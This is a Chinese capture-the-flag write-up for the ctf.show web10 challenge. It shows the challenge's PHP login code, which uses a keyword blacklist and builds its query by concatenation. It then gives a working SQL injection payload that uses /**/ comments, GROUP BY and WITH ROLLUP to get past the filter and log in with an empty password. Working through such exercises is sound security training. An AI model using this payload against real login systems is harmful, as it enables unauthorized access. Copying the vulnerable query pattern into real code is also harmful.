ctf.show_web10

本题重点:(1)php相关函数 ;(2)会灵活运用 group by 和 with rollup;

每个按钮都点一下,获取源码 

<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        } // 把 $regex 替换成空

        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        } // 判断数据库是否连接成功

        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        } // 把 $username 与 $password 过滤
        
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }
                     }
            }
    ?>

源码中只把username传到后端,通过后端传来的password与输入的作比较。这里两个变量中只传了一个变量。

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password= 

mysqli_num_rows:返回结果集中行的数量

mysqli_fetch_assoc :把结果集变成数组。

介绍一下两个sql语句:

group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计

统计group by一个有多少个。

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值